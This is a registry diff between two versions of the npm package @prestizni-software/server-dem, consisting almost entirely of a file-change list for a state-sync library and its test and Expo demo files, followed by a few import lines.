@prestizni-software/server-dem 0.7.3 → 0.7.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/AutoUpdateClientManagerClass.d.ts +141 -0
- package/AutoUpdateClientManagerClass.js +656 -0
- package/AutoUpdateClientManagerClass.js.map +1 -0
- package/AutoUpdateManagerClass.d.ts +102 -0
- package/AutoUpdateManagerClass.js +117 -0
- package/AutoUpdateManagerClass.js.map +1 -0
- package/AutoUpdateServerManagerClass.d.ts +208 -0
- package/AutoUpdateServerManagerClass.js +913 -0
- package/AutoUpdateServerManagerClass.js.map +1 -0
- package/AutoUpdatedClientObjectClass.d.ts +215 -0
- package/AutoUpdatedClientObjectClass.js +911 -0
- package/AutoUpdatedClientObjectClass.js.map +1 -0
- package/AutoUpdatedServerObjectClass.d.ts +134 -0
- package/AutoUpdatedServerObjectClass.js +346 -0
- package/AutoUpdatedServerObjectClass.js.map +1 -0
- package/ClientTypes.d.ts +15 -0
- package/ClientTypes.js +52 -0
- package/ClientTypes.js.map +1 -0
- package/CommonTypes.d.ts +259 -0
- package/CommonTypes.js +233 -0
- package/CommonTypes.js.map +1 -0
- package/CommonTypes_server.d.ts +1 -0
- package/CommonTypes_server.js +2 -0
- package/CommonTypes_server.js.map +1 -0
- package/{dist/DEMErrors.d.ts → DEMErrors.d.ts} +22 -2
- package/{dist/DEMErrors.js → DEMErrors.js} +22 -2
- package/{dist/DEMErrors.js.map → DEMErrors.js.map} +1 -1
- package/ServerTypes.d.ts +16 -0
- package/ServerTypes.js +60 -0
- package/ServerTypes.js.map +1 -0
- package/client.d.ts +6 -0
- package/client.js +7 -0
- package/client.js.map +1 -0
- package/coverage/lcov-report/block-navigation.js +71 -0
- package/coverage/lcov-report/block-navigation.js.map +1 -0
- package/coverage/lcov-report/prettify.js +478 -0
- package/coverage/lcov-report/prettify.js.map +1 -0
- package/coverage/lcov-report/sorter.js +177 -0
- package/coverage/lcov-report/sorter.js.map +1 -0
- package/dist/AutoUpdateClientManagerClass.d.ts +20 -0
- package/dist/AutoUpdateClientManagerClass.js +283 -0
- package/dist/AutoUpdateClientManagerClass.js.map +1 -0
- package/dist/AutoUpdateManagerClass.d.ts +17 -31
- package/dist/AutoUpdateManagerClass.js +15 -36
- package/dist/AutoUpdateManagerClass.js.map +1 -1
- package/dist/AutoUpdateServerManagerClass.d.ts +18 -118
- package/dist/AutoUpdateServerManagerClass.js +198 -583
- package/dist/AutoUpdateServerManagerClass.js.map +1 -1
- package/dist/AutoUpdatedClientObjectClass.d.ts +63 -92
- package/dist/AutoUpdatedClientObjectClass.js +660 -599
- package/dist/AutoUpdatedClientObjectClass.js.map +1 -1
- package/dist/AutoUpdatedServerObjectClass.d.ts +13 -33
- package/dist/AutoUpdatedServerObjectClass.js +92 -234
- package/dist/AutoUpdatedServerObjectClass.js.map +1 -1
- package/dist/ClientTypes.d.ts +13 -0
- package/dist/ClientTypes.js +70 -0
- package/dist/ClientTypes.js.map +1 -0
- package/dist/CommonTypes.d.ts +3 -220
- package/dist/CommonTypes.js +4 -188
- package/dist/CommonTypes.js.map +1 -1
- package/dist/CommonTypes_server.d.ts +1 -1
- package/dist/CommonTypes_server.js +2 -1
- package/dist/CommonTypes_server.js.map +1 -1
- package/dist/ServerTypes.d.ts +13 -0
- package/dist/ServerTypes.js +78 -0
- package/dist/ServerTypes.js.map +1 -0
- package/dist/TestTypes.d.ts +1 -0
- package/dist/TestTypes.js +7 -0
- package/dist/TestTypes.js.map +1 -0
- package/dist/client.d.ts +1 -0
- package/dist/client.js +12 -0
- package/dist/client.js.map +1 -0
- package/dist/coverage/lcov-report/block-navigation.d.ts +1 -0
- package/dist/coverage/lcov-report/block-navigation.js +71 -0
- package/dist/coverage/lcov-report/block-navigation.js.map +1 -0
- package/dist/coverage/lcov-report/prettify.d.ts +0 -0
- package/dist/coverage/lcov-report/prettify.js +736 -0
- package/dist/coverage/lcov-report/prettify.js.map +1 -0
- package/dist/coverage/lcov-report/sorter.d.ts +1 -0
- package/dist/coverage/lcov-report/sorter.js +177 -0
- package/dist/coverage/lcov-report/sorter.js.map +1 -0
- package/dist/dist/AutoUpdateClientManagerClass.d.ts +19 -0
- package/dist/dist/AutoUpdateClientManagerClass.js +284 -0
- package/dist/dist/AutoUpdateClientManagerClass.js.map +1 -0
- package/dist/dist/AutoUpdateManagerClass.d.ts +23 -0
- package/dist/dist/AutoUpdateManagerClass.js +60 -0
- package/dist/dist/AutoUpdateManagerClass.js.map +1 -0
- package/dist/dist/AutoUpdateServerManagerClass.d.ts +50 -0
- package/dist/dist/AutoUpdateServerManagerClass.js +413 -0
- package/dist/dist/AutoUpdateServerManagerClass.js.map +1 -0
- package/dist/dist/AutoUpdatedClientObjectClass.d.ts +72 -0
- package/dist/dist/AutoUpdatedClientObjectClass.js +865 -0
- package/dist/dist/AutoUpdatedClientObjectClass.js.map +1 -0
- package/dist/dist/AutoUpdatedServerObjectClass.d.ts +15 -0
- package/dist/dist/AutoUpdatedServerObjectClass.js +124 -0
- package/dist/dist/AutoUpdatedServerObjectClass.js.map +1 -0
- package/dist/dist/ClientTypes.d.ts +13 -0
- package/dist/dist/ClientTypes.js +71 -0
- package/dist/dist/ClientTypes.js.map +1 -0
- package/dist/dist/CommonTypes.d.ts +3 -0
- package/dist/dist/CommonTypes.js +20 -0
- package/dist/dist/CommonTypes.js.map +1 -0
- package/dist/dist/CommonTypes_server.d.ts +1 -0
- package/dist/dist/CommonTypes_server.js +4 -0
- package/dist/dist/CommonTypes_server.js.map +1 -0
- package/dist/dist/ServerTypes.d.ts +13 -0
- package/dist/dist/ServerTypes.js +79 -0
- package/dist/dist/ServerTypes.js.map +1 -0
- package/dist/dist/TestTypes.d.ts +1 -0
- package/dist/dist/TestTypes.js +8 -0
- package/dist/dist/TestTypes.js.map +1 -0
- package/dist/dist/client.d.ts +1 -0
- package/dist/dist/client.js +13 -0
- package/dist/dist/client.js.map +1 -0
- package/dist/dist/coverage/lcov-report/block-navigation.d.ts +1 -0
- package/dist/dist/coverage/lcov-report/block-navigation.js +71 -0
- package/dist/dist/coverage/lcov-report/block-navigation.js.map +1 -0
- package/dist/dist/coverage/lcov-report/prettify.d.ts +0 -0
- package/dist/dist/coverage/lcov-report/prettify.js +736 -0
- package/dist/dist/coverage/lcov-report/prettify.js.map +1 -0
- package/dist/dist/coverage/lcov-report/sorter.d.ts +1 -0
- package/dist/dist/coverage/lcov-report/sorter.js +177 -0
- package/dist/dist/coverage/lcov-report/sorter.js.map +1 -0
- package/dist/dist/dist/AutoUpdateClientManagerClass.d.ts +19 -0
- package/dist/dist/dist/AutoUpdateClientManagerClass.js +285 -0
- package/dist/dist/dist/AutoUpdateClientManagerClass.js.map +1 -0
- package/dist/dist/dist/AutoUpdateManagerClass.d.ts +23 -0
- package/dist/dist/dist/AutoUpdateManagerClass.js +61 -0
- package/dist/dist/dist/AutoUpdateManagerClass.js.map +1 -0
- package/dist/dist/dist/AutoUpdateServerManagerClass.d.ts +158 -0
- package/dist/dist/dist/AutoUpdateServerManagerClass.js +414 -0
- package/dist/dist/dist/AutoUpdateServerManagerClass.js.map +1 -0
- package/dist/dist/dist/AutoUpdatedClientObjectClass.d.ts +72 -0
- package/dist/dist/dist/AutoUpdatedClientObjectClass.js +866 -0
- package/dist/dist/dist/AutoUpdatedClientObjectClass.js.map +1 -0
- package/dist/dist/dist/AutoUpdatedServerObjectClass.d.ts +15 -0
- package/dist/dist/dist/AutoUpdatedServerObjectClass.js +125 -0
- package/dist/dist/dist/AutoUpdatedServerObjectClass.js.map +1 -0
- package/dist/dist/dist/ClientTypes.d.ts +13 -0
- package/dist/dist/dist/ClientTypes.js +72 -0
- package/dist/dist/dist/ClientTypes.js.map +1 -0
- package/dist/dist/dist/CommonTypes.d.ts +3 -0
- package/dist/dist/dist/CommonTypes.js +21 -0
- package/dist/dist/dist/CommonTypes.js.map +1 -0
- package/dist/dist/dist/CommonTypes_server.d.ts +1 -0
- package/dist/dist/dist/CommonTypes_server.js +5 -0
- package/dist/dist/dist/CommonTypes_server.js.map +1 -0
- package/dist/dist/dist/ServerTypes.d.ts +13 -0
- package/dist/dist/dist/ServerTypes.js +80 -0
- package/dist/dist/dist/ServerTypes.js.map +1 -0
- package/dist/dist/dist/TestTypes.d.ts +1 -0
- package/dist/dist/dist/TestTypes.js +9 -0
- package/dist/dist/dist/TestTypes.js.map +1 -0
- package/dist/dist/dist/client.d.ts +1 -0
- package/dist/dist/dist/client.js +14 -0
- package/dist/dist/dist/client.js.map +1 -0
- package/dist/dist/dist/coverage/lcov-report/block-navigation.d.ts +1 -0
- package/dist/dist/dist/coverage/lcov-report/block-navigation.js +71 -0
- package/dist/dist/dist/coverage/lcov-report/block-navigation.js.map +1 -0
- package/dist/dist/dist/coverage/lcov-report/prettify.d.ts +0 -0
- package/dist/dist/dist/coverage/lcov-report/prettify.js +736 -0
- package/dist/dist/dist/coverage/lcov-report/prettify.js.map +1 -0
- package/dist/dist/dist/coverage/lcov-report/sorter.d.ts +1 -0
- package/dist/dist/dist/coverage/lcov-report/sorter.js +177 -0
- package/dist/dist/dist/coverage/lcov-report/sorter.js.map +1 -0
- package/dist/dist/dist/expo-test/app/(tabs)/_layout.d.ts +1 -0
- package/dist/dist/dist/expo-test/app/(tabs)/_layout.js +27 -0
- package/dist/dist/dist/expo-test/app/(tabs)/_layout.js.map +1 -0
- package/dist/dist/dist/expo-test/app/(tabs)/explore.d.ts +1 -0
- package/dist/dist/dist/expo-test/app/(tabs)/explore.js +95 -0
- package/dist/dist/dist/expo-test/app/(tabs)/explore.js.map +1 -0
- package/dist/dist/dist/expo-test/app/(tabs)/index.d.ts +1 -0
- package/dist/dist/dist/expo-test/app/(tabs)/index.js +81 -0
- package/dist/dist/dist/expo-test/app/(tabs)/index.js.map +1 -0
- package/dist/dist/dist/expo-test/app/_layout.d.ts +4 -0
- package/dist/dist/dist/expo-test/app/_layout.js +22 -0
- package/dist/dist/dist/expo-test/app/_layout.js.map +1 -0
- package/dist/dist/dist/expo-test/app/modal.d.ts +1 -0
- package/dist/dist/dist/expo-test/app/modal.js +28 -0
- package/dist/dist/dist/expo-test/app/modal.js.map +1 -0
- package/dist/dist/dist/expo-test/components/external-link.d.ts +4 -0
- package/dist/dist/dist/expo-test/components/external-link.js +18 -0
- package/dist/dist/dist/expo-test/components/external-link.js.map +1 -0
- package/dist/dist/dist/expo-test/components/haptic-tab.d.ts +1 -0
- package/dist/dist/dist/expo-test/components/haptic-tab.js +15 -0
- package/dist/dist/dist/expo-test/components/haptic-tab.js.map +1 -0
- package/dist/dist/dist/expo-test/components/hello-wave.d.ts +1 -0
- package/dist/dist/dist/expo-test/components/hello-wave.js +19 -0
- package/dist/dist/dist/expo-test/components/hello-wave.js.map +1 -0
- package/dist/dist/dist/expo-test/components/parallax-scroll-view.d.ts +5 -0
- package/dist/dist/dist/expo-test/components/parallax-scroll-view.js +53 -0
- package/dist/dist/dist/expo-test/components/parallax-scroll-view.js.map +1 -0
- package/dist/dist/dist/expo-test/components/themed-text.d.ts +7 -0
- package/dist/dist/dist/expo-test/components/themed-text.js +43 -0
- package/dist/dist/dist/expo-test/components/themed-text.js.map +1 -0
- package/dist/dist/dist/expo-test/components/themed-view.d.ts +6 -0
- package/dist/dist/dist/expo-test/components/themed-view.js +10 -0
- package/dist/dist/dist/expo-test/components/themed-view.js.map +1 -0
- package/dist/dist/dist/expo-test/components/ui/collapsible.d.ts +4 -0
- package/dist/dist/dist/expo-test/components/ui/collapsible.js +34 -0
- package/dist/dist/dist/expo-test/components/ui/collapsible.js.map +1 -0
- package/dist/dist/dist/expo-test/components/ui/icon-symbol.d.ts +11 -0
- package/dist/dist/dist/expo-test/components/ui/icon-symbol.ios.d.ts +7 -0
- package/dist/dist/dist/expo-test/components/ui/icon-symbol.ios.js +14 -0
- package/dist/dist/dist/expo-test/components/ui/icon-symbol.ios.js.map +1 -0
- package/dist/dist/dist/expo-test/components/ui/icon-symbol.js +25 -0
- package/dist/dist/dist/expo-test/components/ui/icon-symbol.js.map +1 -0
- package/dist/dist/dist/expo-test/constants/theme.d.ts +26 -0
- package/dist/dist/dist/expo-test/constants/theme.js +53 -0
- package/dist/dist/dist/expo-test/constants/theme.js.map +1 -0
- package/dist/dist/dist/expo-test/eslint.config.d.ts +2 -0
- package/dist/dist/dist/expo-test/eslint.config.js +11 -0
- package/dist/dist/dist/expo-test/eslint.config.js.map +1 -0
- package/dist/dist/dist/expo-test/hooks/use-color-scheme.d.ts +1 -0
- package/dist/dist/dist/expo-test/hooks/use-color-scheme.js +5 -0
- package/dist/dist/dist/expo-test/hooks/use-color-scheme.js.map +1 -0
- package/dist/dist/dist/expo-test/hooks/use-color-scheme.web.d.ts +4 -0
- package/dist/dist/dist/expo-test/hooks/use-color-scheme.web.js +20 -0
- package/dist/dist/dist/expo-test/hooks/use-color-scheme.web.js.map +1 -0
- package/dist/dist/dist/expo-test/hooks/use-theme-color.d.ts +1 -0
- package/dist/dist/dist/expo-test/hooks/use-theme-color.js +20 -0
- package/dist/dist/dist/expo-test/hooks/use-theme-color.js.map +1 -0
- package/dist/dist/dist/expo-test/scripts/reset-project.d.ts +2 -0
- package/dist/dist/dist/expo-test/scripts/reset-project.js +98 -0
- package/dist/dist/dist/expo-test/scripts/reset-project.js.map +1 -0
- package/dist/dist/dist/jest.config.d.ts +21 -0
- package/dist/dist/dist/jest.config.js +20 -0
- package/dist/dist/dist/jest.config.js.map +1 -0
- package/dist/dist/dist/server.d.ts +1 -0
- package/dist/dist/dist/server.js +16 -0
- package/dist/dist/dist/server.js.map +1 -0
- package/dist/dist/dist/socket_test.d.ts +1 -0
- package/dist/dist/dist/socket_test.js +24 -0
- package/dist/dist/dist/socket_test.js.map +1 -0
- package/dist/dist/dist/test.d.ts +1 -0
- package/dist/dist/dist/test.js +7 -0
- package/dist/dist/dist/test.js.map +1 -0
- package/dist/dist/dist/test_client.d.ts +1 -0
- package/dist/dist/dist/test_client.js +26 -0
- package/dist/dist/dist/test_client.js.map +1 -0
- package/dist/dist/dist/test_lib.d.ts +2 -0
- package/dist/dist/dist/test_lib.js +85 -0
- package/dist/dist/dist/test_lib.js.map +1 -0
- package/dist/dist/dist/test_server.d.ts +1 -0
- package/dist/dist/dist/test_server.js +54 -0
- package/dist/dist/dist/test_server.js.map +1 -0
- package/dist/dist/dist/tests/dem.test.d.ts +1 -0
- package/dist/dist/dist/tests/dem.test.js +341 -0
- package/dist/dist/dist/tests/dem.test.js.map +1 -0
- package/dist/dist/expo-test/app/(tabs)/_layout.d.ts +1 -0
- package/dist/dist/expo-test/app/(tabs)/_layout.js +26 -0
- package/dist/dist/expo-test/app/(tabs)/_layout.js.map +1 -0
- package/dist/dist/expo-test/app/(tabs)/explore.d.ts +1 -0
- package/dist/dist/expo-test/app/(tabs)/explore.js +94 -0
- package/dist/dist/expo-test/app/(tabs)/explore.js.map +1 -0
- package/dist/dist/expo-test/app/(tabs)/index.d.ts +1 -0
- package/dist/dist/expo-test/app/(tabs)/index.js +80 -0
- package/dist/dist/expo-test/app/(tabs)/index.js.map +1 -0
- package/dist/dist/expo-test/app/_layout.d.ts +4 -0
- package/dist/dist/expo-test/app/_layout.js +21 -0
- package/dist/dist/expo-test/app/_layout.js.map +1 -0
- package/dist/dist/expo-test/app/modal.d.ts +1 -0
- package/dist/dist/expo-test/app/modal.js +27 -0
- package/dist/dist/expo-test/app/modal.js.map +1 -0
- package/dist/dist/expo-test/components/external-link.d.ts +4 -0
- package/dist/dist/expo-test/components/external-link.js +17 -0
- package/dist/dist/expo-test/components/external-link.js.map +1 -0
- package/dist/dist/expo-test/components/haptic-tab.d.ts +1 -0
- package/dist/dist/expo-test/components/haptic-tab.js +14 -0
- package/dist/dist/expo-test/components/haptic-tab.js.map +1 -0
- package/dist/dist/expo-test/components/hello-wave.d.ts +1 -0
- package/dist/dist/expo-test/components/hello-wave.js +18 -0
- package/dist/dist/expo-test/components/hello-wave.js.map +1 -0
- package/dist/dist/expo-test/components/parallax-scroll-view.d.ts +5 -0
- package/dist/dist/expo-test/components/parallax-scroll-view.js +52 -0
- package/dist/dist/expo-test/components/parallax-scroll-view.js.map +1 -0
- package/dist/dist/expo-test/components/themed-text.d.ts +7 -0
- package/dist/dist/expo-test/components/themed-text.js +42 -0
- package/dist/dist/expo-test/components/themed-text.js.map +1 -0
- package/dist/dist/expo-test/components/themed-view.d.ts +6 -0
- package/dist/dist/expo-test/components/themed-view.js +9 -0
- package/dist/dist/expo-test/components/themed-view.js.map +1 -0
- package/dist/dist/expo-test/components/ui/collapsible.d.ts +4 -0
- package/dist/dist/expo-test/components/ui/collapsible.js +33 -0
- package/dist/dist/expo-test/components/ui/collapsible.js.map +1 -0
- package/dist/dist/expo-test/components/ui/icon-symbol.d.ts +11 -0
- package/dist/dist/expo-test/components/ui/icon-symbol.ios.d.ts +7 -0
- package/dist/dist/expo-test/components/ui/icon-symbol.ios.js +13 -0
- package/dist/dist/expo-test/components/ui/icon-symbol.ios.js.map +1 -0
- package/dist/dist/expo-test/components/ui/icon-symbol.js +24 -0
- package/dist/dist/expo-test/components/ui/icon-symbol.js.map +1 -0
- package/dist/dist/expo-test/constants/theme.d.ts +26 -0
- package/dist/dist/expo-test/constants/theme.js +52 -0
- package/dist/dist/expo-test/constants/theme.js.map +1 -0
- package/dist/dist/expo-test/eslint.config.d.ts +2 -0
- package/dist/dist/expo-test/eslint.config.js +11 -0
- package/dist/dist/expo-test/eslint.config.js.map +1 -0
- package/dist/dist/expo-test/hooks/use-color-scheme.d.ts +1 -0
- package/dist/dist/expo-test/hooks/use-color-scheme.js +4 -0
- package/dist/dist/expo-test/hooks/use-color-scheme.js.map +1 -0
- package/dist/dist/expo-test/hooks/use-color-scheme.web.d.ts +4 -0
- package/dist/dist/expo-test/hooks/use-color-scheme.web.js +19 -0
- package/dist/dist/expo-test/hooks/use-color-scheme.web.js.map +1 -0
- package/dist/dist/expo-test/hooks/use-theme-color.d.ts +1 -0
- package/dist/dist/expo-test/hooks/use-theme-color.js +19 -0
- package/dist/dist/expo-test/hooks/use-theme-color.js.map +1 -0
- package/dist/dist/expo-test/scripts/reset-project.d.ts +2 -0
- package/dist/dist/expo-test/scripts/reset-project.js +98 -0
- package/dist/dist/expo-test/scripts/reset-project.js.map +1 -0
- package/dist/dist/jest.config.d.ts +21 -0
- package/dist/dist/jest.config.js +19 -0
- package/dist/dist/jest.config.js.map +1 -0
- package/dist/dist/server.d.ts +1 -0
- package/dist/dist/server.js +15 -0
- package/dist/dist/server.js.map +1 -0
- package/dist/dist/socket_test.d.ts +1 -0
- package/dist/dist/socket_test.js +23 -0
- package/dist/dist/socket_test.js.map +1 -0
- package/dist/dist/test.d.ts +1 -0
- package/dist/dist/test.js +6 -0
- package/dist/dist/test.js.map +1 -0
- package/dist/dist/test_client.d.ts +1 -0
- package/dist/dist/test_client.js +25 -0
- package/dist/dist/test_client.js.map +1 -0
- package/dist/dist/test_lib.d.ts +2 -0
- package/dist/dist/test_lib.js +84 -0
- package/dist/dist/test_lib.js.map +1 -0
- package/dist/dist/test_server.d.ts +1 -0
- package/dist/dist/test_server.js +53 -0
- package/dist/dist/test_server.js.map +1 -0
- package/dist/dist/tests/dem.test.d.ts +1 -0
- package/dist/dist/tests/dem.test.js +340 -0
- package/dist/dist/tests/dem.test.js.map +1 -0
- package/dist/expo-test/app/(tabs)/_layout.d.ts +1 -0
- package/dist/expo-test/app/(tabs)/_layout.js +25 -0
- package/dist/expo-test/app/(tabs)/_layout.js.map +1 -0
- package/dist/expo-test/app/(tabs)/explore.d.ts +1 -0
- package/dist/expo-test/app/(tabs)/explore.js +93 -0
- package/dist/expo-test/app/(tabs)/explore.js.map +1 -0
- package/dist/expo-test/app/(tabs)/index.d.ts +1 -0
- package/dist/expo-test/app/(tabs)/index.js +79 -0
- package/dist/expo-test/app/(tabs)/index.js.map +1 -0
- package/dist/expo-test/app/_layout.d.ts +4 -0
- package/dist/expo-test/app/_layout.js +20 -0
- package/dist/expo-test/app/_layout.js.map +1 -0
- package/dist/expo-test/app/modal.d.ts +1 -0
- package/dist/expo-test/app/modal.js +26 -0
- package/dist/expo-test/app/modal.js.map +1 -0
- package/dist/expo-test/components/external-link.d.ts +4 -0
- package/dist/expo-test/components/external-link.js +16 -0
- package/dist/expo-test/components/external-link.js.map +1 -0
- package/dist/expo-test/components/haptic-tab.d.ts +1 -0
- package/dist/expo-test/components/haptic-tab.js +13 -0
- package/dist/expo-test/components/haptic-tab.js.map +1 -0
- package/dist/expo-test/components/hello-wave.d.ts +1 -0
- package/dist/expo-test/components/hello-wave.js +17 -0
- package/dist/expo-test/components/hello-wave.js.map +1 -0
- package/dist/expo-test/components/parallax-scroll-view.d.ts +5 -0
- package/dist/expo-test/components/parallax-scroll-view.js +51 -0
- package/dist/expo-test/components/parallax-scroll-view.js.map +1 -0
- package/dist/expo-test/components/themed-text.d.ts +7 -0
- package/dist/expo-test/components/themed-text.js +41 -0
- package/dist/expo-test/components/themed-text.js.map +1 -0
- package/dist/expo-test/components/themed-view.d.ts +6 -0
- package/dist/expo-test/components/themed-view.js +8 -0
- package/dist/expo-test/components/themed-view.js.map +1 -0
- package/dist/expo-test/components/ui/collapsible.d.ts +4 -0
- package/dist/expo-test/components/ui/collapsible.js +32 -0
- package/dist/expo-test/components/ui/collapsible.js.map +1 -0
- package/dist/expo-test/components/ui/icon-symbol.d.ts +11 -0
- package/dist/expo-test/components/ui/icon-symbol.ios.d.ts +7 -0
- package/dist/expo-test/components/ui/icon-symbol.ios.js +12 -0
- package/dist/expo-test/components/ui/icon-symbol.ios.js.map +1 -0
- package/dist/expo-test/components/ui/icon-symbol.js +23 -0
- package/dist/expo-test/components/ui/icon-symbol.js.map +1 -0
- package/dist/expo-test/constants/theme.d.ts +26 -0
- package/dist/expo-test/constants/theme.js +51 -0
- package/dist/expo-test/constants/theme.js.map +1 -0
- package/dist/expo-test/eslint.config.d.ts +2 -0
- package/dist/expo-test/eslint.config.js +11 -0
- package/dist/expo-test/eslint.config.js.map +1 -0
- package/dist/expo-test/hooks/use-color-scheme.d.ts +1 -0
- package/dist/expo-test/hooks/use-color-scheme.js +3 -0
- package/dist/expo-test/hooks/use-color-scheme.js.map +1 -0
- package/dist/expo-test/hooks/use-color-scheme.web.d.ts +4 -0
- package/dist/expo-test/hooks/use-color-scheme.web.js +18 -0
- package/dist/expo-test/hooks/use-color-scheme.web.js.map +1 -0
- package/dist/expo-test/hooks/use-theme-color.d.ts +1 -0
- package/dist/expo-test/hooks/use-theme-color.js +18 -0
- package/dist/expo-test/hooks/use-theme-color.js.map +1 -0
- package/dist/expo-test/scripts/reset-project.d.ts +2 -0
- package/dist/expo-test/scripts/reset-project.js +98 -0
- package/dist/expo-test/scripts/reset-project.js.map +1 -0
- package/dist/jest.config.d.ts +21 -0
- package/dist/jest.config.js +18 -0
- package/dist/jest.config.js.map +1 -0
- package/dist/server.d.ts +1 -8
- package/dist/server.js +13 -8
- package/dist/server.js.map +1 -1
- package/dist/socket_test.d.ts +1 -0
- package/dist/socket_test.js +22 -0
- package/dist/socket_test.js.map +1 -0
- package/dist/test.d.ts +1 -0
- package/dist/test.js +5 -0
- package/dist/test.js.map +1 -0
- package/dist/test_client.d.ts +1 -0
- package/dist/test_client.js +24 -0
- package/dist/test_client.js.map +1 -0
- package/dist/test_lib.d.ts +12 -0
- package/dist/test_lib.js +83 -0
- package/dist/test_lib.js.map +1 -0
- package/dist/test_server.d.ts +1 -0
- package/dist/test_server.js +52 -0
- package/dist/test_server.js.map +1 -0
- package/dist/tests/dem.test.d.ts +1 -0
- package/dist/tests/dem.test.js +339 -0
- package/dist/tests/dem.test.js.map +1 -0
- package/expo-test/app/(tabs)/_layout.d.ts +2 -0
- package/expo-test/app/(tabs)/_layout.js +24 -0
- package/expo-test/app/(tabs)/_layout.js.map +1 -0
- package/expo-test/app/(tabs)/explore.d.ts +1 -0
- package/expo-test/app/(tabs)/explore.js +92 -0
- package/expo-test/app/(tabs)/explore.js.map +1 -0
- package/expo-test/app/(tabs)/index.d.ts +1 -0
- package/expo-test/app/(tabs)/index.js +78 -0
- package/expo-test/app/(tabs)/index.js.map +1 -0
- package/expo-test/app/_layout.d.ts +5 -0
- package/expo-test/app/_layout.js +19 -0
- package/expo-test/app/_layout.js.map +1 -0
- package/expo-test/app/modal.d.ts +1 -0
- package/expo-test/app/modal.js +25 -0
- package/expo-test/app/modal.js.map +1 -0
- package/expo-test/components/external-link.d.ts +7 -0
- package/expo-test/components/external-link.js +15 -0
- package/expo-test/components/external-link.js.map +1 -0
- package/expo-test/components/haptic-tab.d.ts +2 -0
- package/expo-test/components/haptic-tab.js +12 -0
- package/expo-test/components/haptic-tab.js.map +1 -0
- package/expo-test/components/hello-wave.d.ts +1 -0
- package/expo-test/components/hello-wave.js +16 -0
- package/expo-test/components/hello-wave.js.map +1 -0
- package/expo-test/components/parallax-scroll-view.d.ts +10 -0
- package/expo-test/components/parallax-scroll-view.js +50 -0
- package/expo-test/components/parallax-scroll-view.js.map +1 -0
- package/expo-test/components/themed-text.d.ts +7 -0
- package/expo-test/components/themed-text.js +40 -0
- package/expo-test/components/themed-text.js.map +1 -0
- package/expo-test/components/themed-view.d.ts +6 -0
- package/expo-test/components/themed-view.js +7 -0
- package/expo-test/components/themed-view.js.map +1 -0
- package/expo-test/components/ui/collapsible.d.ts +4 -0
- package/expo-test/components/ui/collapsible.js +31 -0
- package/expo-test/components/ui/collapsible.js.map +1 -0
- package/expo-test/components/ui/icon-symbol.d.ts +25 -0
- package/expo-test/components/ui/icon-symbol.ios.d.ts +9 -0
- package/expo-test/components/ui/icon-symbol.ios.js +11 -0
- package/expo-test/components/ui/icon-symbol.ios.js.map +1 -0
- package/expo-test/components/ui/icon-symbol.js +22 -0
- package/expo-test/components/ui/icon-symbol.js.map +1 -0
- package/expo-test/constants/theme.d.ts +32 -0
- package/expo-test/constants/theme.js +50 -0
- package/expo-test/constants/theme.js.map +1 -0
- package/expo-test/eslint.config.d.ts +2 -0
- package/expo-test/eslint.config.js +11 -0
- package/expo-test/eslint.config.js.map +1 -0
- package/expo-test/hooks/use-color-scheme.d.ts +1 -0
- package/expo-test/hooks/use-color-scheme.js +2 -0
- package/expo-test/hooks/use-color-scheme.js.map +1 -0
- package/expo-test/hooks/use-color-scheme.web.d.ts +4 -0
- package/expo-test/hooks/use-color-scheme.web.js +17 -0
- package/expo-test/hooks/use-color-scheme.web.js.map +1 -0
- package/expo-test/hooks/use-theme-color.d.ts +9 -0
- package/expo-test/hooks/use-theme-color.js +17 -0
- package/expo-test/hooks/use-theme-color.js.map +1 -0
- package/expo-test/scripts/reset-project.d.ts +2 -0
- package/expo-test/scripts/reset-project.js +98 -0
- package/expo-test/scripts/reset-project.js.map +1 -0
- package/index.d.ts +4 -0
- package/index.js +5 -0
- package/index.js.map +1 -0
- package/jest.config.d.ts +3 -0
- package/jest.config.js +17 -0
- package/jest.config.js.map +1 -0
- package/package.json +23 -42
- package/server.d.ts +8 -0
- package/server.js +9 -0
- package/server.js.map +1 -0
- package/{dist/sync → sync}/ClientStateReconciler.d.ts +20 -0
- package/{dist/sync → sync}/ClientStateReconciler.js +20 -0
- package/sync/ClientStateReconciler.js.map +1 -0
- package/{dist/sync → sync}/ServerChangeTracker.d.ts +46 -0
- package/{dist/sync → sync}/ServerChangeTracker.js +46 -0
- package/sync/ServerChangeTracker.js.map +1 -0
- package/sync/storage/IndexedDbStorageAdapter.d.ts +53 -0
- package/{dist/sync → sync}/storage/IndexedDbStorageAdapter.js +31 -0
- package/sync/storage/IndexedDbStorageAdapter.js.map +1 -0
- package/sync/storage/LocalStorageAdapter.d.ts +59 -0
- package/{dist/sync → sync}/storage/LocalStorageAdapter.js +32 -0
- package/sync/storage/LocalStorageAdapter.js.map +1 -0
- package/sync/storage/MemoryStorageAdapter.d.ts +34 -0
- package/sync/storage/MemoryStorageAdapter.js +45 -0
- package/sync/storage/MemoryStorageAdapter.js.map +1 -0
- package/version.d.ts +21 -0
- package/version.js +22 -0
- package/version.js.map +1 -0
- package/README.md +0 -18
- package/dist/sync/ClientStateReconciler.js.map +0 -1
- package/dist/sync/ServerChangeTracker.js.map +0 -1
- package/dist/sync/storage/IndexedDbStorageAdapter.d.ts +0 -22
- package/dist/sync/storage/IndexedDbStorageAdapter.js.map +0 -1
- package/dist/sync/storage/LocalStorageAdapter.d.ts +0 -27
- package/dist/sync/storage/LocalStorageAdapter.js.map +0 -1
- package/dist/sync/storage/MemoryStorageAdapter.d.ts +0 -13
- package/dist/sync/storage/MemoryStorageAdapter.js +0 -25
- package/dist/sync/storage/MemoryStorageAdapter.js.map +0 -1
- package/dist/tsconfig.tsbuildinfo +0 -1
- /package/{dist/sync → sync}/index.d.ts +0 -0
- /package/{dist/sync → sync}/index.js +0 -0
- /package/{dist/sync → sync}/index.js.map +0 -0
- /package/{dist/sync → sync}/storage/IClientStorageAdapter.d.ts +0 -0
- /package/{dist/sync → sync}/storage/IClientStorageAdapter.js +0 -0
- /package/{dist/sync → sync}/storage/IClientStorageAdapter.js.map +0 -0
- /package/{dist/sync → sync}/types.d.ts +0 -0
- /package/{dist/sync → sync}/types.js +0 -0
- /package/{dist/sync → sync}/types.js.map +0 -0
|
@@ -1,9 +1,9 @@
|
|
|
1
1
|
import { AutoUpdateManager } from "./AutoUpdateManagerClass.js";
|
|
2
|
-
import { createAutoUpdatedClass } from "./AutoUpdatedServerObjectClass.js";
|
|
3
|
-
